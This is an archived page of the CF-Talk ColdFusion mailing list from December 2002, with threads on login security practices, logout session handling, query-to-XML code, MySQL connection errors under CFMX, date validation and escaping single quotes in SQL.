Re: User Name/Password Concepts

[Dwayne Cole]

Here’s what you might refer to as “imperative dimensions of application security.”   
It’s not an exhaustive list because it doesn’t include server maintenance security 
practices, code encryption, and data transfer security among other things.  
Nevertheless, you might want to start by walking through this list and documenting 
your requirements.  

1. Login / Logout Processes

2. Use Case Access - Rights & Privileges

3. Directory Access - Rights & Privileges

4. Page Access - Rights & Privileges

5. Data Access - Rights & Privileges

6. Encrypting Links and Form Fields

7. Securing SQL statements

I'm sure each of the above topics will generate, at least, a 15 message thread.  And 
frankly there's no "silver bullet" but there are some best practices.  But what ever 
you do try to gloablize security task as much as possible and make sure that your 
implemention works well with your coding methodology. 

Good luck.


Prof. Dwayne Cole, MS in MIS, MBA
Florida A&M University
Certified Advanced ColdFusion Developer
850-591-0212
 
"It can truely be said that nothing happens until there is vision. But it is equally 
true that a vision with no underlying sense of purpose, no calling, is just a good 
idea - all "sound and fury, signifiying nothing."  The Fifth Discipline - Peter Senge


>- Original Message -
>From: "Ian Skinner" <[EMAIL PROTECTED]>
>To: "CF-Talk" <[EMAIL PROTECTED]>
>Sent: Monday, December 30, 2002 4:58 PM
>Subject: User Name/Password Concepts
>
>
>> I am writing a User ID/Password login in for a commercial, registered
>> members only type, Internet site.  Not adult orientated if you care *S*.
>>
>> I've written simple CF Login functions before, but this current project
>that
>> is going to require a little more true security then I've dealt with
>before.
>> I'm asking all the guru's and other experienced CF developers if you can
>> help with some ideas.  Basically I want to provide a fairly secure site
>that
>> doesn't turn away potential users/members/customers.
>>
>> What I'm interested in is comments and ideas on balancing Security verses
>> User Convince.  Also, what issues do I need to consider when I'm building
>> this to increase the difficulty to hack my code and/or users logins as
>much
>> as practical.  Would I want to blend other security features in to this
>(NT
>> Security for example)?
>>
>> Ian Skinner
>> Developer
>> Ilsweb
>> [EMAIL PROTECTED]
>>
>>
>> 
>
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

RE: Delete all Session Vars on Logout..

[Joshua Miller]

This is what I use:


 






 





That destroys all specified session variables in a list but you could
easily change it to delete them all by just eliminating the  method.



Joshua Miller
Head Programmer / IT Manager
Garrison Enterprises Inc.
www.garrisonenterprises.net
[EMAIL PROTECTED]
(704) 569-9044 ext. 254
 

*
Any views expressed in this message are those of the individual sender,
except where the sender states them to be the views of 
Garrison Enterprises Inc.
 
This e-mail is intended only for the individual or entity to which it is
addressed and contains information that is private and confidential. If
you are not the intended recipient you are hereby notified that any
dissemination, distribution or copying is strictly prohibited. If you 
have received this e-mail in error please delete it immediately and
advise us by return e-mail to [EMAIL PROTECTED]

*


-Original Message-
From: Les Mizzell [mailto:[EMAIL PROTECTED]] 
Sent: Monday, December 30, 2002 6:59 PM
To: CF-Talk
Subject: Delete all Session Vars on Logout..


When a client logs out of a particular application, I have the need to
destroy all session variables, cookieseverything

What's the best and most secure way to accomplish this?

Can I simply put something like:




.on the "logout" processing page?

What's "best practice" for this?

Thanks,

Les


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

RE: CFMX and XML

[Robert Bailey]

Here is the code from the url I provided



function queryToXML(query){
var root = "query";
var row = "row";
var cols = listToArray(query.columnList);
var nodeMode = "values";
var ii = 1;
var rr = 1;
var thisColumn = "";
var thisValue = "";
var xml = xmlNew();
if(structCount(arguments) GTE 2)
root = arguments[2];
if(structCount(arguments) GTE 3)
row = arguments[3]; 
if(structCount(arguments) GTE 4)
nodeMode = arguments[4];
xml.xmlRoot = xmlElemNew(xml,root);
xml[root].xmlAttributes["columns"] = arrayLen(cols);
xml[root].xmlAttributes["rows"] = query.recordCount;
for(rr = 1; rr LTE query.recordCount; rr = rr + 1){
arrayAppend(xml[root].xmlChildren,xmlElemNew(xml,row)); 
for(ii = 1; ii LTE arrayLen(cols); ii = ii + 1){
thisColumn = lcase(cols[ii]);
thisValue = query[cols[ii]][rr];
switch(nodeMode){
case "rows":

xml[root][row][rr].xmlAttributes[thisColumn] = thisValue;
break;
case "columns":

arrayAppend(xml[root][row][rr].xmlChildren,xmlElemNew(xml,thisColumn)); 

xml[root][row][rr][thisColumn].xmlAttributes["value"] = thisValue;
break;
default:

arrayAppend(xml[root][row][rr].xmlChildren,xmlElemNew(xml,thisColumn)); 

xml[root][row][rr][thisColumn].xmlText = thisValue;

}

}
}
return xml; 
}

  

select job_title, job_desc as description, state, country, deadline,
post_date as date_posted
from tbl_jobs
where lock = No


q = get_jobs;
xmlObj = queryToXML(q,"query","jobs","Rows");
xmlString = toString(xmlObj);


Output using ToString(xmlObj)
#ToString(xmlObj)#



Output using CFDUMP var="xmlObj"



-Original Message-
From: Samuel Neff [mailto:[EMAIL PROTECTED]] 
Sent: Monday, December 30, 2002 5:30 PM
To: CF-Talk
Subject: RE: CFMX and XML

Perhaps if you post some code we can tell you what you're doing wrong.

> -Original Message-
> From: Robert Bailey [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 6:58 PM
> To: CF-Talk
> Subject: RE: CFMX and XML
> 
> 
> No one knows what I am doing wrong?
> 
> -Original Message-
> From: Robert Bailey [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 12:31 PM
> To: CF-Talk
> Subject: CFMX and XML
> 
> I am trying to return an XML string through a CFC.
> 
> Even when using this in a normal CFM page, I it does not 
> work. Here is my problem:
> 
> I create an XML doc from my query. I call the var xmlObj. I 
> want to turn this into a string, so I use ToString(xmlObj), 
> but it returns "null". 
> 
> Here is the output
> 
http://66.241.217.191/webservices/test.cfm


Thanks for any help!



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

RE: CFMX and XML

[Samuel Neff]

Perhaps if you post some code we can tell you what you're doing wrong.

> -Original Message-
> From: Robert Bailey [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 6:58 PM
> To: CF-Talk
> Subject: RE: CFMX and XML
> 
> 
> No one knows what I am doing wrong?
> 
> -Original Message-
> From: Robert Bailey [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 12:31 PM
> To: CF-Talk
> Subject: CFMX and XML
> 
> I am trying to return an XML string through a CFC.
> 
> Even when using this in a normal CFM page, I it does not 
> work. Here is my problem:
> 
> I create an XML doc from my query. I call the var xmlObj. I 
> want to turn this into a string, so I use ToString(xmlObj), 
> but it returns "null". 
> 
> Here is the output
> 
http://66.241.217.191/webservices/test.cfm


Thanks for any help!


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

RE: CFMX Server, MySQL woes

[Mike Chambers]

ok. now we are getting somewhere. it sounds like a permission issue on
MySQL. make sure that the user that CFMX is connecting as has permission
from MySQL to connect.

mike chambers

[EMAIL PROTECTED]



> -Original Message-
> From: Jochem van Dieten [mailto:[EMAIL PROTECTED]] 

> > ***If I use 127.0.0.1 as the server I get:
> > []java.sql.SQLException: SQLException occurred in JDBCPool 
> while attempting
> > to connect: java.sql.SQLException: Server configuration 
> denies access to
> > data source.
> 
> How about telnet here?
> 
> 
> > I am using the exact same configuration options as I am in 
> CF5 (which
> > works).  MX doesn't accept these options...
> 
> Maybe CF5 uses Unix sockets and JDBC uses IP.
> 
> Jochem
> 
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

RE: CFMX Server, MySQL woes

[Josh]

I guess I figured that since I just bought it and am trying to get it up and
running for the first time, that it was an install issueoh
well...thanks.

-Original Message-
From: Christian Cantrell [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 4:35 PM
To: CF-Talk
Subject: Re: CFMX Server, MySQL woes


Josh,

I think I know what happened.  The form that you used to submit your
problem is for product installation issues only.  You still should have
received a response, though, and I am following up internally to try to
make sure this kind of thing doesn't happen anymore.

Next time, check out the support options at:

http://www.macromedia.com/support/programs/self/coldfusion.html

Christian

On Monday, December 30, 2002, at 04:34 PM, Josh wrote:

> I am having the same problem...I emailed MM CF Support last Thurs. and
> still
> have not received a response...
>
> Please let me know if you figure anything out!
>
> Thanks,
>
> Josh
>
> -Original Message-
> From: Russ [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 2:10 PM
> To: CF-Talk
> Subject: CFMX Server, MySQL woes
>
>
> I'm receiving the following error:
>
> Connection verification failed for data source: FasterDesigns
> []java.sql.SQLException: SQLException occurred in JDBCPool while
> attempting to connect, please check your username, password, URL, and
> other connectivity info.
> The root cause was that: java.sql.SQLException: SQLException occurred
> in
> JDBCPool while attempting to connect, please check your username,
> password, URL, and other connectivity info.
>
> This is occurring in the server administration under datasources.
> We've
> verified the username, password, URL, etc. and all appear to be in
> order.  We're also (obviously) receiving errors from the site:
>
> Error Executing Database Query.
> SQLException occurred in JDBCPool while attempting to connect, please
> check your username, password, URL, and other connectivity info.
>
> And, again, we've verified everything.
>
> The server is running RedHat, and the archives that I have found are
> showing me that this may have happened under NT, but not a resolution.
>
> Does anyone have any thoughts?
>
> Thanks,
>
> Russ
>
>
>

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

Delete all Session Vars on Logout..

[Les Mizzell]

When a client logs out of a particular application, I have the need to
destroy all session variables, cookieseverything

What's the best and most secure way to accomplish this?

Can I simply put something like:




..on the "logout" processing page?

What's "best practice" for this?

Thanks,

Les

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

RE: ODBC Date Question

[Peter Bagnato]

Here's a great date validation script that I use:

http://javascript.internet.com/forms/val-date.html

It can easily be modified to do validate the date that you want :)

Peter Bagnato

-Original Message-
From: Benjamin S. Rogers [mailto:[EMAIL PROTECTED]] 
Sent: Monday, December 30, 2002 10:06 AM
To: CF-Talk
Subject: RE: ODBC Date Question
Importance: High

Just using IsDate() does not work very well. IsDate() will accept a lot
of dates that ODBC won't (usually typos such as 3 of 5 digit years). I
would also perform a range check in ColdFusion on any date submitted and
return an appropriate error to the user. To give you an example, for
every form field that accepts a date, I end up with at least 25 lines of
validation code and exception handling.

Benjamin S. Rogers
http://www.c4.net/
v.508.240.0051
f.508.240.0057

-Original Message-
From: Julia Green [mailto:[EMAIL PROTECTED]] 
Sent: Monday, December 30, 2002 9:47 AM
To: CF-Talk
Subject: Re: ODBC Date Question


How do you validate the input dates with isdate()?  Never used it
before...
Julia
 Richard Meredith-Hardy <[EMAIL PROTECTED]> wrote:A few notes:

- is 'File' a reserved word?

- I have to say a a European I HATE date formats like mm/dd/ or
dd/mm/ for the simple reason that there are too many ways to
misunderstand them - when I ask people to put a date in a single field I
ask them to use dd mmm  which is completely unambiguous and is
perfectly understood by createodbcdate() 

- are you sure the actual values of the dates in your new DB are what
you think they are after the transformation? 

- validate the input dates before the query with isdate()

Julia Green wrote:
> 
> This I am sure is a beginning question...so one of you experts can
help me...
> I have a client Gilway lighting, whose form, gilwaydb.cfm submits an
ODBC date
> 
> to an Access table whose dates I converted all to Date/Time(shot over
to SQL Server) in the format mm/dd/, the table is called tblfile4d
> Now the problem, my client wants me to do a form where you put a
Beginning and Ending Date,
> Beginning Date:

> 

> Ending Date:

> 

> 
> 
Type the dates in the following format: 10/13/2001. Be sure to type a
beginning and ending date.

> 
 [input] 

> and to find the files that go with these dates, but for instance, if I
enter 5/6/01 or
> 5/6/2001
> and 12/6/01, it returns the 02 dates, all between 5/6/2002 and
12/6/2002.
> So remember tblfile4d has date format for Clock for all the dates now.
> It is called gilsrch.cfm posts to gildate2.cfm with this relevant
code:
> 
> 
> SELECT count(t.File) as file3, t.Clock, g.File, t.File
> FROM tblfile4d t, gilway12 g
> WHERE Clock BETWEEN #CreateODBCDate(Form.Clock1)# AND
#CreateODBCDate(Form.Clock2)#
> AND t.File=g.File
> GROUP BY g.File, t.File, t.Clock
> ORDER BY file3 DESC
> 
> 
> 
> 
> SELECT count(File) AS file2
> FROM tblfile4d
> WHERE Clock BETWEEN #CreateODBCDate(Form.Clock1)# AND
#CreateODBCDate(Form.Clock2)#
> 
> 
> SELECT count(t.File) as file4
> FROM tblfile4d t, gilway12 g
> WHERE Clock BETWEEN #CreateODBCDate(Form.Clock1)# AND
#CreateODBCDate(Form.Clock2)#
> AND t.File=g.File
> 
> 
> Why is it doing this I can give you the links...
> http://www.cheshiregroup.com/gilway/gilwaydb.cfm
> http://www.cheshiregroup.com/gilway/gilsrch.cfm
> Can someone help me with this? Why does it return other years? Please
cc me at
> [EMAIL PROTECTED] if you can
> Julia Green
> 
> 
> 
> 
> 
> 
> 
> Julia Computer Consulting
> Web Design @ Reasonable Prices
> Email: [EMAIL PROTECTED]
> www.juliagreen.com
> Phone: 617-926-3413
> Cell: 617-596-6003
> Fax: 1-617-812-8148
> 



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RE: User Name/Password Concepts

[Chris White]

The post should have been with this message:

I have used AuthintiX and it is quite nice.  I have noticed a web
hosting company that offers it with their plans when I was looking for
something else.  Other things to consider are:  1.  Required min.
password length, 2.  Special characters required within the password, 3.
Password case sensitive, 4.  Password expiration every 30 days ect., 5.
User only allowed to be logged in once, if two users try to sign in
using the same user id then blow away the current user session which
allows only one user to be logged in, 6.  Min. length for the user id.

Chris



-Original Message-
From: Ian Skinner [mailto:[EMAIL PROTECTED]] 
Sent: Monday, December 30, 2002 5:58 PM
To: CF-Talk
Subject: User Name/Password Concepts


I am writing a User ID/Password login in for a commercial, registered
members only type, Internet site.  Not adult orientated if you care *S*.


I've written simple CF Login functions before, but this current project
that is going to require a little more true security then I've dealt
with before. I'm asking all the guru's and other experienced CF
developers if you can help with some ideas.  Basically I want to provide
a fairly secure site that doesn't turn away potential
users/members/customers.  

What I'm interested in is comments and ideas on balancing Security
verses User Convince.  Also, what issues do I need to consider when I'm
building this to increase the difficulty to hack my code and/or users
logins as much as practical.  Would I want to blend other security
features in to this (NT Security for example)?

Ian Skinner
Developer
Ilsweb
[EMAIL PROTECTED]



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

RE: war Againest Loneliness

[Chris White]

I have used AuthintiX and it is quite nice.  I have noticed a web
hosting company that offers it with their plans when I was looking for
something else.  Other things to consider are:  1.  Required min.
password length, 2.  Special characters required within the password, 3.
Password case sensitive, 4.  Password expiration every 30 days ect., 5.
User only allowed to be logged in once, if two users try to sign in
using the same user id then blow away the current user session which
allows only one user to be logged in, 6.  Min. length for the user id.

Chris



-Original Message-
From: Jochem van Dieten [mailto:[EMAIL PROTECTED]] 
Sent: Monday, December 30, 2002 5:57 PM
To: CF-Talk
Subject: Re: war Againest Loneliness


Ed Gordon wrote:
> What is this about attachments? I got no attachment. All the attached 
> garbage was visible as text, in two parts. Am I missing out on 
> attachments from this group? (even though it was a good thing this 
> time)

You can always make the parts visible by saving the entire email message

as a .uue and opening it in your favourite archiver. The talk about 
attachments is merely because attachments are the vector for Yaha.


> Good thing it had no effect on this end... which makes me wonder if 
> others on the CF list got it with an attachment?

The HoF list code turns it into an inline message.

Jochem


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

RE: CFMX and XML

[Robert Bailey]

No one knows what I am doing wrong?

-Original Message-
From: Robert Bailey [mailto:[EMAIL PROTECTED]] 
Sent: Monday, December 30, 2002 12:31 PM
To: CF-Talk
Subject: CFMX and XML

I am trying to return an XML string through a CFC.

Even when using this in a normal CFM page, I it does not work. Here is
my problem:

I create an XML doc from my query. I call the var xmlObj. I want to turn
this into a string, so I use ToString(xmlObj), but it returns "null". 

Here is the output

http://66.241.217.191/webservices/test.cfm


Thanks for any help!


---
[This E-mail scanned for viruses]


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

Re: CFMX Server, MySQL woes

[Christian Cantrell]

Josh,

I think I know what happened.  The form that you used to submit your  
problem is for product installation issues only.  You still should have  
received a response, though, and I am following up internally to try to  
make sure this kind of thing doesn't happen anymore.

Next time, check out the support options at:

http://www.macromedia.com/support/programs/self/coldfusion.html

Christian

On Monday, December 30, 2002, at 04:34 PM, Josh wrote:

> I am having the same problem...I emailed MM CF Support last Thurs. and  
> still
> have not received a response...
>
> Please let me know if you figure anything out!
>
> Thanks,
>
> Josh
>
> -Original Message-
> From: Russ [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 2:10 PM
> To: CF-Talk
> Subject: CFMX Server, MySQL woes
>
>
> I'm receiving the following error:
>
> Connection verification failed for data source: FasterDesigns
> []java.sql.SQLException: SQLException occurred in JDBCPool while
> attempting to connect, please check your username, password, URL, and
> other connectivity info.
> The root cause was that: java.sql.SQLException: SQLException occurred  
> in
> JDBCPool while attempting to connect, please check your username,
> password, URL, and other connectivity info.
>
> This is occurring in the server administration under datasources.   
> We've
> verified the username, password, URL, etc. and all appear to be in
> order.  We're also (obviously) receiving errors from the site:
>
> Error Executing Database Query.
> SQLException occurred in JDBCPool while attempting to connect, please
> check your username, password, URL, and other connectivity info.
>
> And, again, we've verified everything.
>
> The server is running RedHat, and the archives that I have found are
> showing me that this may have happened under NT, but not a resolution.
>
> Does anyone have any thoughts?
>
> Thanks,
>
> Russ
>
>
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

RE: CFMX Server, MySQL woes

[Josh]

Thanks Jochem...I'll chomp on this for a while and see if I can't get it
fixed...

-Original Message-
From: Jochem van Dieten [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 3:52 PM
To: CF-Talk
Subject: Re: CFMX Server, MySQL woes


Josh wrote:
> looks like MySQL is up on that port...this is what I get:
>
>
> [root@exciteworks root]# telnet 127.0.0.1 3306
> Trying 127.0.0.1...
> Connected to 127.0.0.1.
> Escape character is '^]'.
> NHost 'localhost.localdomain' is not allowed to connect to this MySQL
> serverConnection closed by foreign host.

Yes, it is up. You have a configuration issue with MySQL that disallows
connections fromlocalhost through IP.


> I have DSNs in cf5 working fine on the server, but MX cannot connect.

I bet CF 5 is using Unix sockets or the public IP to connect (if you
still have CF 5 running you could verify this with netstat -n). You
should have a look at: http://www.mysql.com/doc/en/Access_denied.html

Jochem


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

Re: User Name/Password Concepts

[Fregas]

Ian,

One thing you might want to look at is Authentix.  It provides more robust
security thant winnt challenge/response.  It can block individual pages and
images based upon referrer, IP, NT Login, ODBC database, etc.  Very very
powerful and does not require cookies.  It is a COM component that
integrates w/ CF using CFOBJECT. Of course,  your hosting company will have
to install it for you if this isn't on your own server.   I think they've
upgraded it to some product called web quote but you might be able to pick
either one.   http://www.flicks.com/

You are going to have to watch URL/FORM hacks.  Assume that users wanting to
break in will view source.  Use CFQUERYPARAM and CFPROCPARAM whenever
possible.  If you are using cookies for state/session information, you may
want to investigate SSL cookies.

Just my 0.02.

Fregas

- Original Message -
From: "Ian Skinner" <[EMAIL PROTECTED]>
To: "CF-Talk" <[EMAIL PROTECTED]>
Sent: Monday, December 30, 2002 4:58 PM
Subject: User Name/Password Concepts


> I am writing a User ID/Password login in for a commercial, registered
> members only type, Internet site.  Not adult orientated if you care *S*.
>
> I've written simple CF Login functions before, but this current project
that
> is going to require a little more true security then I've dealt with
before.
> I'm asking all the guru's and other experienced CF developers if you can
> help with some ideas.  Basically I want to provide a fairly secure site
that
> doesn't turn away potential users/members/customers.
>
> What I'm interested in is comments and ideas on balancing Security verses
> User Convince.  Also, what issues do I need to consider when I'm building
> this to increase the difficulty to hack my code and/or users logins as
much
> as practical.  Would I want to blend other security features in to this
(NT
> Security for example)?
>
> Ian Skinner
> Developer
> Ilsweb
> [EMAIL PROTECTED]
>
>
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

Re: User Name/Password Concepts

[Jochem van Dieten]

Ian Skinner wrote:
> I am writing a User ID/Password login in for a commercial, registered
> members only type, Internet site.  Not adult orientated if you care *S*.  

We don't :-)


> I've written simple CF Login functions before, but this current project that
> is going to require a little more true security then I've dealt with before.
> I'm asking all the guru's and other experienced CF developers if you can
> help with some ideas.  Basically I want to provide a fairly secure site that
> doesn't turn away potential users/members/customers.  

What is secure? Is it a problem if users close their browser and are 
automatically logged in if they re-open it? Do you need protection 
against multiple simultaneous logins with the same user account? Etc.


> What I'm interested in is comments and ideas on balancing Security verses
> User Convince.

I think the best balance for the general internet population is 
currently Digest Authentication or Basic Authentication over SSL.

> Would I want to blend other security features in to this (NT
> Security for example)?

NT Security is IE only, don't do it. If it has to be really secure, use 
something with smartcards (everybody has one nowadays anyway) and single 
use passwords.

Jochem

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

Re: NEED HELP: Single quotes not escaping

[cf-talk]

LOL... wrong answer... that's what's happening... I need to NOT
PreserveSingleQuotes... ;-)

-Novak

PS - I did get the joke. ;-)

- Original Message -
From: "Scott Weikert" <[EMAIL PROTECTED]>
To: "CF-Talk" <[EMAIL PROTECTED]>
Sent: Monday, December 30, 2002 12:26 PM
Subject: Re: NEED HELP: Single quotes not escaping


> At 12:06 PM 12/30/2002 -0800, you wrote:
> >For example... O'Neil for a last name produces an error because the
single
> >quote causes the SQL UPDATE statement to end prematurely.
>
>
> PreserveSingleQuotes()
>
> :)
>
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

Re: NEED HELP: Single quotes not escaping

[cf-talk]

Jochem,

Your answer is (of course) correct... in fact I just informed them of this
before I posted my email.  That is also why I was careful to say "it's not
my code".  :-)

Problem is that this is happening in several places and while they do need
to be rewritten in a bad way for protection from SQL injection attacks... a
quick fix would be nice in the short term.

The question isn't so much "What is the solution?" as much as it is "What
changed to cause this issue?"

Thanks for the response anyway though. ;-)

-Novak

- Original Message -
From: "Jochem van Dieten" <[EMAIL PROTECTED]>
To: "CF-Talk" <[EMAIL PROTECTED]>
Sent: Monday, December 30, 2002 12:18 PM
Subject: Re: NEED HELP: Single quotes not escaping


> [EMAIL PROTECTED] wrote:
> >
> > Basically what's happening is that someone enters an apostrophe (aka
single
> > quote) into the form field and ColdFusion is not automatically escaping
it.
> >
> > For example... O'Neil for a last name produces an error because the
single
> > quote causes the SQL UPDATE statement to end prematurely.
> >
> > Obviously I can fix this quickly by simply doing a Replace() function
and
> > replacing every single quote with two single quotes but what I want to
know
> > is WHAT IS CAUSING THIS PROBLEM in the first place.
> >
> > Apparently the code itself has not changed (but that's no guarantee
since
> > it's not my code).  Does anyone out there know of a server setting, or
> > anything else that causes the above behavior?
>
> Not using cfqueryparam in all cases is known to cause this :-)
>
> Jochem
>
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

User Name/Password Concepts

[Ian Skinner]

I am writing a User ID/Password login in for a commercial, registered
members only type, Internet site.  Not adult orientated if you care *S*.  

I've written simple CF Login functions before, but this current project that
is going to require a little more true security then I've dealt with before.
I'm asking all the guru's and other experienced CF developers if you can
help with some ideas.  Basically I want to provide a fairly secure site that
doesn't turn away potential users/members/customers.  

What I'm interested in is comments and ideas on balancing Security verses
User Convince.  Also, what issues do I need to consider when I'm building
this to increase the difficulty to hack my code and/or users logins as much
as practical.  Would I want to blend other security features in to this (NT
Security for example)?

Ian Skinner
Developer
Ilsweb
[EMAIL PROTECTED]


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

Re: war Againest Loneliness

[Jochem van Dieten]

Ed Gordon wrote:
> What is this about attachments? I got no attachment. All the attached
> garbage was visible as text, in two parts. Am I missing out on attachments
> from this group? (even though it was a good thing this time)

You can always make the parts visible by saving the entire email message 
as a .uue and opening it in your favourite archiver. The talk about 
attachments is merely because attachments are the vector for Yaha.


> Good thing it had no effect on this end... which makes me wonder if others
> on the CF list got it with an attachment?

The HoF list code turns it into an inline message.

Jochem

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

Re: CFMX Server, MySQL woes

[Jochem van Dieten]

Josh wrote:
> looks like MySQL is up on that port...this is what I get:
> 
> 
> [root@exciteworks root]# telnet 127.0.0.1 3306
> Trying 127.0.0.1...
> Connected to 127.0.0.1.
> Escape character is '^]'.
> NHost 'localhost.localdomain' is not allowed to connect to this MySQL
> serverConnection closed by foreign host.

Yes, it is up. You have a configuration issue with MySQL that disallows 
connections fromlocalhost through IP.


> I have DSNs in cf5 working fine on the server, but MX cannot connect.

I bet CF 5 is using Unix sockets or the public IP to connect (if you 
still have CF 5 running you could verify this with netstat -n). You 
should have a look at: http://www.mysql.com/doc/en/Access_denied.html

Jochem

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

RE: CFMX Server, MySQL woes

[Josh]

looks like MySQL is up on that port...this is what I get:


[root@exciteworks root]# telnet 127.0.0.1 3306
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
NHost 'localhost.localdomain' is not allowed to connect to this MySQL
serverConnection closed by foreign host.


I have DSNs in cf5 working fine on the server, but MX cannot connect.

Thanks,

Josh

-Original Message-
From: Mike Chambers [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 3:24 PM
To: CF-Talk
Subject: RE: CFMX Server, MySQL woes


you should be able to ssh in and then run the telnet command from the
server:

